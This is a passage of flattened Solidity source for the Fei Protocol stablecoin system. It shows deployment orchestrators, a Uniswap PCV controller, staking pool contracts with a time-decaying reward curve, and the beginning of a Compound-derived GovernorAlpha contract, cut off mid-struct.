address[] memory allocations = new address[](1);
allocations[0] = address(ethUniswapPCVDeposit);
ethBondingCurve = address(new EthBondingCurve(
scale,
core,
allocations,
ratios,
uniswapOracle,
bondingCurveIncentiveDuration,
bondingCurveIncentiveAmount
));
bondingCurveOracle = address(new BondingCurveOracle(
core,
uniswapOracle,
ethBondingCurve,
thawingDuration
));
return (
ethBondingCurve,
bondingCurveOracle
);
}
function detonate() public onlyOwner {
selfdestruct(payable(owner()));
}
}
// File @uniswap/v2-periphery/contracts/interfaces/[email protected]
pragma solidity >=0.5.0;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
// File @openzeppelin/contracts/math/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File contracts/fei-protocol/token/IUniswapIncentive.sol
pragma solidity ^0.6.2;
pragma experimental ABIEncoderV2;
/// @title Uniswap trading incentive contract
/// @author Fei Protocol
/// @dev incentives are only appplied if the contract is appointed as a Minter or Burner, otherwise skipped
interface IUniswapIncentive is IIncentive {
// ----------- Events -----------
event TimeWeightUpdate(uint _weight, bool _active);
event GrowthRateUpdate(uint _growthRate);
event ExemptAddressUpdate(address indexed _account, bool _isExempt);
event SellAllowedAddressUpdate(address indexed _account, bool _isSellAllowed);
// ----------- Governor only state changing api -----------
/// @notice set an address to be exempted from Uniswap trading incentives
/// @param account the address to update
/// @param isExempt a flag for whether to exempt or unexempt
function setExemptAddress(address account, bool isExempt) external;
/// @notice set an address to be able to send tokens to Uniswap
/// @param account the address to update
/// @param isAllowed a flag for whether the account is allowed to sell or not
function setSellAllowlisted(address account, bool isAllowed) external;
/// @notice set the time weight growth function
function setTimeWeightGrowth(uint32 growthRate) external;
/// @notice sets all of the time weight parameters
// @param blockNo the stored last block number of the time weight
/// @param weight the stored last time weight
/// @param growth the growth rate of the time weight per block
/// @param active a flag signifying whether the time weight is currently growing or not
function setTimeWeight(uint32 weight, uint32 growth, bool active) external;
// ----------- Getters -----------
/// @notice return true if burn incentive equals mint
function isIncentiveParity() external view returns (bool);
/// @notice returns true if account is marked as exempt
function isExemptAddress(address account) external view returns (bool);
/// @notice return true if the account is approved to sell to the Uniswap pool
function isSellAllowlisted(address account) external view returns (bool);
/// @notice the granularity of the time weight and growth rate
// solhint-disable-next-line func-name-mixedcase
function TIME_WEIGHT_GRANULARITY() external view returns(uint32);
/// @notice the growth rate of the time weight per block
function getGrowthRate() external view returns (uint32);
/// @notice the time weight of the current block
/// @dev factors in the stored block number and growth rate if active
function getTimeWeight() external view returns (uint32);
/// @notice returns true if time weight is active and growing at the growth rate
function isTimeWeightActive() external view returns (bool);
/// @notice get the incentive amount of a buy transfer
/// @param amount the FEI size of the transfer
/// @return incentive the FEI size of the mint incentive
/// @return weight the time weight of thhe incentive
/// @return initialDeviation the Decimal deviation from peg before a transfer
/// @return finalDeviation the Decimal deviation from peg after a transfer
/// @dev calculated based on a hypothetical buy, applies to any ERC20 FEI transfer from the pool
function getBuyIncentive(uint amount) external view returns(
uint incentive,
uint32 weight,
Decimal.D256 memory initialDeviation,
Decimal.D256 memory finalDeviation
);
/// @notice get the burn amount of a sell transfer
/// @param amount the FEI size of the transfer
/// @return penalty the FEI size of the burn incentive
/// @return initialDeviation the Decimal deviation from peg before a transfer
/// @return finalDeviation the Decimal deviation from peg after a transfer
/// @dev calculated based on a hypothetical sell, applies to any ERC20 FEI transfer to the pool
function getSellPenalty(uint amount) external view returns(
uint penalty,
Decimal.D256 memory initialDeviation,
Decimal.D256 memory finalDeviation
);
}
// File contracts/fei-protocol/pcv/IUniswapPCVController.sol
pragma solidity ^0.6.2;
/// @title a Uniswap PCV Controller interface
/// @author Fei Protocol
interface IUniswapPCVController {
// ----------- Events -----------
event Reweight(address indexed _caller);
event PCVDepositUpdate(address indexed _pcvDeposit);
event ReweightIncentiveUpdate(uint _amount);
event ReweightMinDistanceUpdate(uint _basisPoints);
// ----------- State changing API -----------
/// @notice reweights the linked PCV Deposit to the peg price. Needs to be reweight eligible
function reweight() external;
// ----------- Governor only state changing API -----------
/// @notice reweights regardless of eligibility
function forceReweight() external;
/// @notice sets the target PCV Deposit address
function setPCVDeposit(address _pcvDeposit) external;
/// @notice sets the reweight incentive amount
function setReweightIncentive(uint amount) external;
/// @notice sets the reweight min distance in basis points
function setReweightMinDistance(uint basisPoints) external;
// ----------- Getters -----------
/// @notice returns the linked pcv deposit contract
function pcvDeposit() external returns(IPCVDeposit);
/// @notice returns the linked Uniswap incentive contract
function incentiveContract() external returns(IUniswapIncentive);
/// @notice gets the FEI reward incentive for reweighting
function reweightIncentiveAmount() external returns(uint);
/// @notice signal whether the reweight is available. Must have incentive parity and minimum distance from peg
function reweightEligible() external view returns(bool);
}
// File contracts/fei-protocol/pcv/EthUniswapPCVController.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title a IUniswapPCVController implementation for ETH
/// @author Fei Protocol
contract EthUniswapPCVController is IUniswapPCVController, UniRef {
using Decimal for Decimal.D256;
IPCVDeposit public override pcvDeposit;
IUniswapIncentive public override incentiveContract;
uint public override reweightIncentiveAmount;
Decimal.D256 public minDistanceForReweight;
/// @notice EthUniswapPCVController constructor
/// @param _core Fei Core for reference
/// @param _pcvDeposit PCV Deposit to reweight
/// @param _oracle oracle for reference
/// @param _incentiveContract incentive contract for reference
/// @param _incentiveAmount amount of FEI for triggering a reweight
/// @param _minDistanceForReweightBPs minimum distance from peg to reweight in basis points
/// @param _pair Uniswap pair contract to reweight
/// @param _router Uniswap Router
constructor (
address _core,
address _pcvDeposit,
address _oracle,
address _incentiveContract,
uint _incentiveAmount,
uint _minDistanceForReweightBPs,
address _pair,
address _router
) public
UniRef(_core, _pair, _router, _oracle)
{
pcvDeposit = IPCVDeposit(_pcvDeposit);
incentiveContract = IUniswapIncentive(_incentiveContract);
reweightIncentiveAmount = _incentiveAmount;
minDistanceForReweight = Decimal.ratio(_minDistanceForReweightBPs, 10000);
}
receive() external payable {}
function reweight() external override postGenesis {
require(reweightEligible(), "EthUniswapPCVController: Not at incentive parity or not at min distance");
_reweight();
_incentivize();
}
function forceReweight() external override onlyGovernor {
_reweight();
}
function setPCVDeposit(address _pcvDeposit) external override onlyGovernor {
pcvDeposit = IPCVDeposit(_pcvDeposit);
emit PCVDepositUpdate(_pcvDeposit);
}
function setReweightIncentive(uint amount) external override onlyGovernor {
reweightIncentiveAmount = amount;
emit ReweightIncentiveUpdate(amount);
}
function setReweightMinDistance(uint basisPoints) external override onlyGovernor {
minDistanceForReweight = Decimal.ratio(basisPoints, 10000);
emit ReweightMinDistanceUpdate(basisPoints);
}
function reweightEligible() public view override returns(bool) {
bool magnitude = getDistanceToPeg().greaterThan(minDistanceForReweight);
bool time = incentiveContract.isIncentiveParity();
return magnitude && time;
}
function _incentivize() internal ifMinterSelf {
fei().mint(msg.sender, reweightIncentiveAmount);
}
function _reweight() internal {
_withdrawAll();
_returnToPeg();
uint balance = address(this).balance;
pcvDeposit.deposit{value: balance}(balance);
_burnFeiHeld();
emit Reweight(msg.sender);
}
function _returnToPeg() internal {
(uint feiReserves, uint ethReserves) = getReserves();
if (feiReserves == 0 || ethReserves == 0) {
return;
}
updateOracle();
require(isBelowPeg(peg()), "EthUniswapPCVController: already at or above peg");
uint amountEth = getAmountToPegOther();
_swapEth(amountEth, ethReserves, feiReserves);
}
function _swapEth(uint amountEth, uint ethReserves, uint feiReserves) internal {
uint balance = address(this).balance;
uint amount = Math.min(amountEth, balance);
uint amountOut = UniswapV2Library.getAmountOut(amount, ethReserves, feiReserves);
IWETH weth = IWETH(router.WETH());
weth.deposit{value: amount}();
weth.transfer(address(pair), amount);
(uint amount0Out, uint amount1Out) = pair.token0() == address(weth) ? (uint(0), amountOut) : (amountOut, uint(0));
pair.swap(amount0Out, amount1Out, address(this), new bytes(0));
}
function _withdrawAll() internal {
uint value = pcvDeposit.totalValue();
pcvDeposit.withdraw(address(this), value);
}
}
// File contracts/fei-protocol/orchestration/ControllerOrchestrator.sol
pragma solidity ^0.6.0;
contract ControllerOrchestrator is Ownable {
function init(
address core,
address bondingCurveOracle,
address uniswapIncentive,
address ethUniswapPCVDeposit,
address pair,
address router,
uint reweightIncentive,
uint reweightMinDistanceBPs
) public onlyOwner returns(address) {
return address(new EthUniswapPCVController(
core,
ethUniswapPCVDeposit,
bondingCurveOracle,
uniswapIncentive,
reweightIncentive,
reweightMinDistanceBPs,
pair,
router
));
}
function detonate() public onlyOwner {
selfdestruct(payable(owner()));
}
}
// File @uniswap/v2-core/contracts/interfaces/[email protected]
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File contracts/fei-protocol/orchestration/CoreOrchestrator.sol
pragma solidity ^0.6.0;
interface IPCVDepositOrchestrator {
function init(
address core,
address pair,
address router,
address oraclePair,
uint32 twapDuration,
bool price0
) external returns(
address ethUniswapPCVDeposit,
address uniswapOracle
);
function detonate() external;
}
interface IBondingCurveOrchestrator {
function init(
address core,
address uniswapOracle,
address ethUniswapPCVDeposit,
uint scale,
uint32 thawingDuration,
uint32 bondingCurveIncentiveDuration,
uint bondingCurveIncentiveAmount
) external returns(
address ethBondingCurve,
address bondingCurveOracle
);
function detonate() external;
}
interface IIncentiveOrchestrator {
function init(
address core,
address bondingCurveOracle,
address fei,
address router,
uint32 growthRate
) external returns(address uniswapIncentive);
function detonate() external;
}
interface IRouterOrchestrator {
function init(
address pair,
address weth,
address incentive
) external returns(address ethRouter);
function detonate() external;
}
interface IControllerOrchestrator {
function init(
address core,
address bondingCurveOracle,
address uniswapIncentive,
address ethUniswapPCVDeposit,
address fei,
address router,
uint reweightIncentive,
uint reweightMinDistanceBPs
) external returns(address ethUniswapPCVController);
function detonate() external;
}
interface IIDOOrchestrator {
function init(
address core,
address admin,
address tribe,
address pair,
address router,
uint32 releaseWindow
) external returns (
address ido,
address timelockedDelegator
);
function detonate() external;
}
interface IGenesisOrchestrator {
function init(
address core,
address ethBondingCurve,
address ido,
address tribeFeiPair,
address oracle,
uint32 genesisDuration,
uint maxPriceBPs,
uint exhangeRateDiscount,
uint32 poolDuration
) external returns (address genesisGroup, address pool);
function detonate() external;
}
interface IGovernanceOrchestrator {
function init(address admin, address tribe, uint timelockDelay) external returns (
address governorAlpha,
address timelock
);
function detonate() external;
}
interface ITribe {
function setMinter(address minter_) external;
}
// solhint-disable-next-line max-states-count
contract CoreOrchestrator is Ownable {
address public admin;
bool private constant TEST_MODE = true;
// ----------- Uniswap Addresses -----------
address public constant ETH_USDC_UNI_PAIR = address(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);
address public constant ROUTER = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IUniswapV2Factory public constant UNISWAP_FACTORY = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
address public ethFeiPair;
address public tribeFeiPair;
// ----------- Time periods -----------
uint32 constant public RELEASE_WINDOW = TEST_MODE ? 4 days : 4 * 365 days;
uint public constant TIMELOCK_DELAY = TEST_MODE ? 1 hours : 3 days;
uint32 public constant GENESIS_DURATION = TEST_MODE ? 1 minutes : 3 days;
uint32 public constant POOL_DURATION = TEST_MODE ? 2 days : 2 * 365 days;
uint32 public constant THAWING_DURATION = TEST_MODE ? 4 minutes : 4 weeks;
uint32 public constant UNI_ORACLE_TWAP_DURATION = TEST_MODE ? 1 : 10 minutes; // 10 min twap
uint32 public constant BONDING_CURVE_INCENTIVE_DURATION = TEST_MODE ? 1 : 1 days; // 1 day duration
// ----------- Params -----------
uint public constant MAX_GENESIS_PRICE_BPS = 9000;
uint public constant EXCHANGE_RATE_DISCOUNT = 10;
uint32 public constant INCENTIVE_GROWTH_RATE = TEST_MODE ? 1_000_000 : 333; // about 1 unit per hour assuming 12s block time
uint public constant SCALE = 250_000_000e18;
uint public constant BONDING_CURVE_INCENTIVE = 500e18;
uint public constant REWEIGHT_INCENTIVE = 500e18;
uint public constant MIN_REWEIGHT_DISTANCE_BPS = 100;
bool public constant USDC_PER_ETH_IS_PRICE_0 = true;
uint public tribeSupply;
uint public constant IDO_TRIBE_PERCENTAGE = 20;
uint public constant GENESIS_TRIBE_PERCENTAGE = 10;
uint public constant DEV_TRIBE_PERCENTAGE = 20;
uint public constant STAKING_TRIBE_PERCENTAGE = 20;
// ----------- Orchestrators -----------
IPCVDepositOrchestrator private pcvDepositOrchestrator;
IBondingCurveOrchestrator private bcOrchestrator;
IIncentiveOrchestrator private incentiveOrchestrator;
IControllerOrchestrator private controllerOrchestrator;
IIDOOrchestrator private idoOrchestrator;
IGenesisOrchestrator private genesisOrchestrator;
IGovernanceOrchestrator private governanceOrchestrator;
IRouterOrchestrator private routerOrchestrator;
// ----------- Deployed Contracts -----------
Core public core;
address public fei;
address public tribe;
address public feiRouter;
address public ethUniswapPCVDeposit;
address public ethBondingCurve;
address public uniswapOracle;
address public bondingCurveOracle;
address public uniswapIncentive;
address public ethUniswapPCVController;
address public ido;
address public timelockedDelegator;
address public genesisGroup;
address public pool;
address public governorAlpha;
address public timelock;
constructor(
address _pcvDepositOrchestrator,
address _bcOrchestrator,
address _incentiveOrchestrator,
address _controllerOrchestrator,
address _idoOrchestrator,
address _genesisOrchestrator,
address _governanceOrchestrator,
address _routerOrchestrator,
address _admin
) public {
core = new Core();
tribe = address(core.tribe());
fei = address(core.fei());
core.grantRevoker(_admin);
pcvDepositOrchestrator = IPCVDepositOrchestrator(_pcvDepositOrchestrator);
bcOrchestrator = IBondingCurveOrchestrator(_bcOrchestrator);
incentiveOrchestrator = IIncentiveOrchestrator(_incentiveOrchestrator);
idoOrchestrator = IIDOOrchestrator(_idoOrchestrator);
controllerOrchestrator = IControllerOrchestrator(_controllerOrchestrator);
genesisOrchestrator = IGenesisOrchestrator(_genesisOrchestrator);
governanceOrchestrator = IGovernanceOrchestrator(_governanceOrchestrator);
routerOrchestrator = IRouterOrchestrator(_routerOrchestrator);
admin = _admin;
tribeSupply = IERC20(tribe).totalSupply();
if (TEST_MODE) {
core.grantGovernor(_admin);
}
}
function initPairs() public onlyOwner {
ethFeiPair = UNISWAP_FACTORY.createPair(fei, WETH);
tribeFeiPair = UNISWAP_FACTORY.createPair(tribe, fei);
}
function initPCVDeposit() public onlyOwner() {
(ethUniswapPCVDeposit, uniswapOracle) = pcvDepositOrchestrator.init(
address(core),
ethFeiPair,
ROUTER,
ETH_USDC_UNI_PAIR,
UNI_ORACLE_TWAP_DURATION,
USDC_PER_ETH_IS_PRICE_0
);
core.grantMinter(ethUniswapPCVDeposit);
pcvDepositOrchestrator.detonate();
}
function initBondingCurve() public onlyOwner {
(ethBondingCurve,
bondingCurveOracle) = bcOrchestrator.init(
address(core),
uniswapOracle,
ethUniswapPCVDeposit,
SCALE,
THAWING_DURATION,
BONDING_CURVE_INCENTIVE_DURATION,
BONDING_CURVE_INCENTIVE
);
core.grantMinter(ethBondingCurve);
IOracleRef(ethUniswapPCVDeposit).setOracle(bondingCurveOracle);
bcOrchestrator.detonate();
}
function initIncentive() public onlyOwner {
uniswapIncentive = incentiveOrchestrator.init(
address(core),
bondingCurveOracle,
ethFeiPair,
ROUTER,
INCENTIVE_GROWTH_RATE
);
core.grantMinter(uniswapIncentive);
core.grantBurner(uniswapIncentive);
IFei(fei).setIncentiveContract(ethFeiPair, uniswapIncentive);
incentiveOrchestrator.detonate();
}
function initRouter() public onlyOwner {
feiRouter = routerOrchestrator.init(ethFeiPair, WETH, uniswapIncentive);
IUniswapIncentive(uniswapIncentive).setSellAllowlisted(feiRouter, true);
IUniswapIncentive(uniswapIncentive).setSellAllowlisted(ethUniswapPCVDeposit, true);
IUniswapIncentive(uniswapIncentive).setSellAllowlisted(ethUniswapPCVController, true);
}
function initController() public onlyOwner {
ethUniswapPCVController = controllerOrchestrator.init(
address(core),
bondingCurveOracle,
uniswapIncentive,
ethUniswapPCVDeposit,
ethFeiPair,
ROUTER,
REWEIGHT_INCENTIVE,
MIN_REWEIGHT_DISTANCE_BPS
);
core.grantMinter(ethUniswapPCVController);
core.grantPCVController(ethUniswapPCVController);
IUniswapIncentive(uniswapIncentive).setExemptAddress(ethUniswapPCVDeposit, true);
IUniswapIncentive(uniswapIncentive).setExemptAddress(ethUniswapPCVController, true);
controllerOrchestrator.detonate();
}
function initIDO() public onlyOwner {
(ido, timelockedDelegator) = idoOrchestrator.init(address(core), admin, tribe, tribeFeiPair, ROUTER, RELEASE_WINDOW);
core.grantMinter(ido);
core.allocateTribe(ido, tribeSupply * IDO_TRIBE_PERCENTAGE / 100);
core.allocateTribe(timelockedDelegator, tribeSupply * DEV_TRIBE_PERCENTAGE / 100);
idoOrchestrator.detonate();
}
function initGenesis() public onlyOwner {
(genesisGroup, pool) = genesisOrchestrator.init(
address(core),
ethBondingCurve,
ido,
tribeFeiPair,
bondingCurveOracle,
GENESIS_DURATION,
MAX_GENESIS_PRICE_BPS,
EXCHANGE_RATE_DISCOUNT,
POOL_DURATION
);
core.setGenesisGroup(genesisGroup);
core.allocateTribe(genesisGroup, tribeSupply * GENESIS_TRIBE_PERCENTAGE / 100);
core.allocateTribe(pool, tribeSupply * STAKING_TRIBE_PERCENTAGE / 100);
genesisOrchestrator.detonate();
}
function initGovernance() public onlyOwner {
(governorAlpha, timelock) = governanceOrchestrator.init(
admin,
tribe,
TIMELOCK_DELAY
);
governanceOrchestrator.detonate();
core.grantGovernor(timelock);
ITribe(tribe).setMinter(timelock);
}
}
// File contracts/fei-protocol/utils/SafeMath128.sol
// SPDX-License-Identifier: MIT
// SafeMath for 128 bit integers inspired by OpenZeppelin SafeMath
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath128 {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint128 a, uint128 b) internal pure returns (uint128) {
uint128 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint128 a, uint128 b) internal pure returns (uint128) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint128 a, uint128 b, string memory errorMessage) internal pure returns (uint128) {
require(b <= a, errorMessage);
uint128 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint128 a, uint128 b) internal pure returns (uint128) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint128 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint128 a, uint128 b) internal pure returns (uint128) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint128 a, uint128 b, string memory errorMessage) internal pure returns (uint128) {
require(b > 0, errorMessage);
uint128 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
// File contracts/fei-protocol/pool/Pool.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title abstract implementation of IPool interface
/// @author Fei Protocol
abstract contract Pool is IPool, ERC20, ERC20Burnable, Timed {
using Decimal for Decimal.D256;
using SafeMath128 for uint128;
using SafeCast for uint;
bool internal initialized;
IERC20 public override rewardToken;
IERC20 public override stakedToken;
uint128 public override claimedRewards;
uint128 public override totalStaked;
mapping (address => uint) public override stakedBalance;
/// @notice Pool constructor
/// @param _duration duration of the pool reward distribution
/// @param _name the name of the pool token
/// @param _ticker the token ticker for the pool token
constructor(
uint32 _duration,
string memory _name,
string memory _ticker
) public ERC20(_name, _ticker) Timed(_duration) {}
function claim(address from, address to) external override returns(uint amountReward) {
amountReward = _claim(from, to);
emit Claim(from, to, amountReward);
return amountReward;
}
function deposit(address to, uint amount) external override {
address from = msg.sender;
_deposit(from, to, amount);
emit Deposit(from, to, amount);
}
function withdraw(address to) external override returns(uint amountStaked, uint amountReward) {
address from = msg.sender;
amountReward = _claim(from, to);
amountStaked = _withdraw(from, to);
emit Withdraw(from, to, amountStaked, amountReward);
return (amountStaked, amountReward);
}
function init() public override virtual {
require(!initialized, "Pool: Already initialized");
_initTimed();
initialized = true;
}
function redeemableReward(address account) public view override returns(uint amountReward, uint amountPool) {
amountPool = _redeemablePoolTokens(account);
uint totalRedeemablePool = _totalRedeemablePoolTokens();
if (totalRedeemablePool == 0) {
return (0, 0);
}
return (releasedReward() * amountPool / totalRedeemablePool, amountPool);
}
function releasedReward() public view override returns (uint) {
uint total = rewardBalance();
uint unreleased = unreleasedReward();
return total.sub(unreleased, "Pool: Released Reward underflow");
}
function unreleasedReward() public view override returns (uint) {
if (isTimeEnded()) {
return 0;
}
return _unreleasedReward(totalReward(), uint(duration), uint(timestamp()));
}
function totalReward() public view override returns (uint) {
return rewardBalance() + uint(claimedRewards);
}
function rewardBalance() public view override returns (uint) {
return rewardToken.balanceOf(address(this));
}
function burnFrom(address account, uint amount) public override {
if (msg.sender == account) {
increaseAllowance(account, amount);
}
super.burnFrom(account, amount);
}
function _totalRedeemablePoolTokens() internal view returns(uint) {
uint total = totalSupply();
uint balance = _twfb(uint(totalStaked));
return total.sub(balance, "Pool: Total redeemable underflow");
}
function _redeemablePoolTokens(address account) internal view returns(uint) {
uint total = balanceOf(account);
uint balance = _twfb(stakedBalance[account]);
return total.sub(balance, "Pool: Redeemable underflow");
}
function _unreleasedReward(uint _totalReward, uint _duration, uint _time) internal view virtual returns (uint);
function _deposit(address from, address to, uint amount) internal {
require(initialized, "Pool: Uninitialized");
require(amount <= stakedToken.balanceOf(from), "Pool: Balance too low to stake");
stakedToken.transferFrom(from, address(this), amount);
stakedBalance[to] += amount;
_incrementStaked(amount);
uint poolTokens = _twfb(amount);
require(poolTokens != 0, "Pool: Window has ended");
_mint(to, poolTokens);
}
function _withdraw(address from, address to) internal returns(uint amountStaked) {
amountStaked = stakedBalance[from];
stakedBalance[from] = 0;
stakedToken.transfer(to, amountStaked);
uint amountPool = balanceOf(from);
if (amountPool != 0) {
_burn(from, amountPool);
}
return amountStaked;
}
function _claim(address from, address to) internal returns(uint) {
(uint amountReward, uint amountPool) = redeemableReward(from);
require(amountPool != 0, "Pool: User has no redeemable pool tokens");
burnFrom(from, amountPool);
_incrementClaimed(amountReward);
rewardToken.transfer(to, amountReward);
return amountReward;
}
function _incrementClaimed(uint amount) internal {
claimedRewards = claimedRewards.add(amount.toUint128());
}
function _incrementStaked(uint amount) internal {
totalStaked = totalStaked.add(amount.toUint128());
}
function _twfb(uint amount) internal view returns(uint) {
return amount * uint(remainingTime());
}
// Updates stored staked balance pro-rata for transfer and transferFrom
function _beforeTokenTransfer(address from, address to, uint amount) internal override {
if (from != address(0) && to != address(0)) {
Decimal.D256 memory ratio = Decimal.ratio(amount, balanceOf(from));
uint amountStaked = ratio.mul(stakedBalance[from]).asUint256();
stakedBalance[from] -= amountStaked;
stakedBalance[to] += amountStaked;
}
}
function _setTokens(address _rewardToken, address _stakedToken) internal {
rewardToken = IERC20(_rewardToken);
stakedToken = IERC20(_stakedToken);
}
}
// File contracts/fei-protocol/pool/FeiPool.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title A Pool for earning TRIBE with staked FEI/TRIBE LP tokens
/// @author Fei Protocol
/// @notice deposited LP tokens will earn TRIBE over time at a linearly decreasing rate
contract FeiPool is Pool, CoreRef {
/// @notice Fei Pool constructor
/// @param _core Fei Core to reference
/// @param _pair Uniswap pair to stake
/// @param _duration duration of staking rewards
constructor(address _core, address _pair, uint32 _duration) public
CoreRef(_core) Pool(_duration, "Fei USD Pool", "FPOOL")
{
_setTokens(
address(tribe()),
_pair
);
}
/// @notice sends tokens back to governance treasury. Only callable by governance
/// @param amount the amount of tokens to send back to treasury
function governorWithdraw(uint amount) external onlyGovernor {
tribe().transfer(address(core()), amount);
}
function init() public override postGenesis {
super.init();
}
// Represents the integral of 2R/d - 2R/d^2 x dx from t to d
// Integral equals 2Rx/d - Rx^2/d^2
// Evaluated at t = 2R*t/d (start) - R*t^2/d^2 (end)
// Evaluated at d = 2R - R = R
// Solution = R - (start - end) or equivalently end + R - start (latter more convenient to code)
function _unreleasedReward(
uint _totalReward,
uint _duration,
uint _time
) internal view override returns (uint) {
// 2R*t/d
Decimal.D256 memory start = Decimal.ratio(_totalReward, _duration).mul(2).mul(_time);
// R*t^2/d^2
Decimal.D256 memory end = Decimal.ratio(_totalReward, _duration).div(_duration).mul(_time * _time);
return end.add(_totalReward).sub(start).asUint256();
}
}
// File contracts/fei-protocol/orchestration/GenesisOrchestrator.sol
pragma solidity ^0.6.0;
contract GenesisOrchestrator is Ownable {
function init(
address core,
address ethBondingCurve,
address ido,
address tribeFeiPair,
address oracle,
uint32 genesisDuration,
uint maxPriceBPs,
uint exhangeRateDiscount,
uint32 poolDuration
) public onlyOwner returns (address genesisGroup, address pool) {
pool = address(new FeiPool(core, tribeFeiPair, poolDuration));
genesisGroup = address(new GenesisGroup(
core,
ethBondingCurve,
ido,
oracle,
pool,
genesisDuration,
maxPriceBPs,
exhangeRateDiscount
));
return (genesisGroup, pool);
}
function detonate() public onlyOwner {
selfdestruct(payable(owner()));
}
}
// File contracts/fei-protocol/dao/GovernorAlpha.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
// Forked from Compound
// See https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/GovernorAlpha.sol
contract GovernorAlpha {
/// @notice The name of this contract
// solhint-disable-next-line const-name-snakecase
string public constant name = "Compound Governor Alpha";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public pure returns (uint) { return 1000000e18; } // 1,000,000 = 10% of Tribe
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint) { return 100000e18; } // 100,000 = 1% of Tribe
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks)
/// @notice The address of the Fei Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the Fei governance token
CompInterface public tribe;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
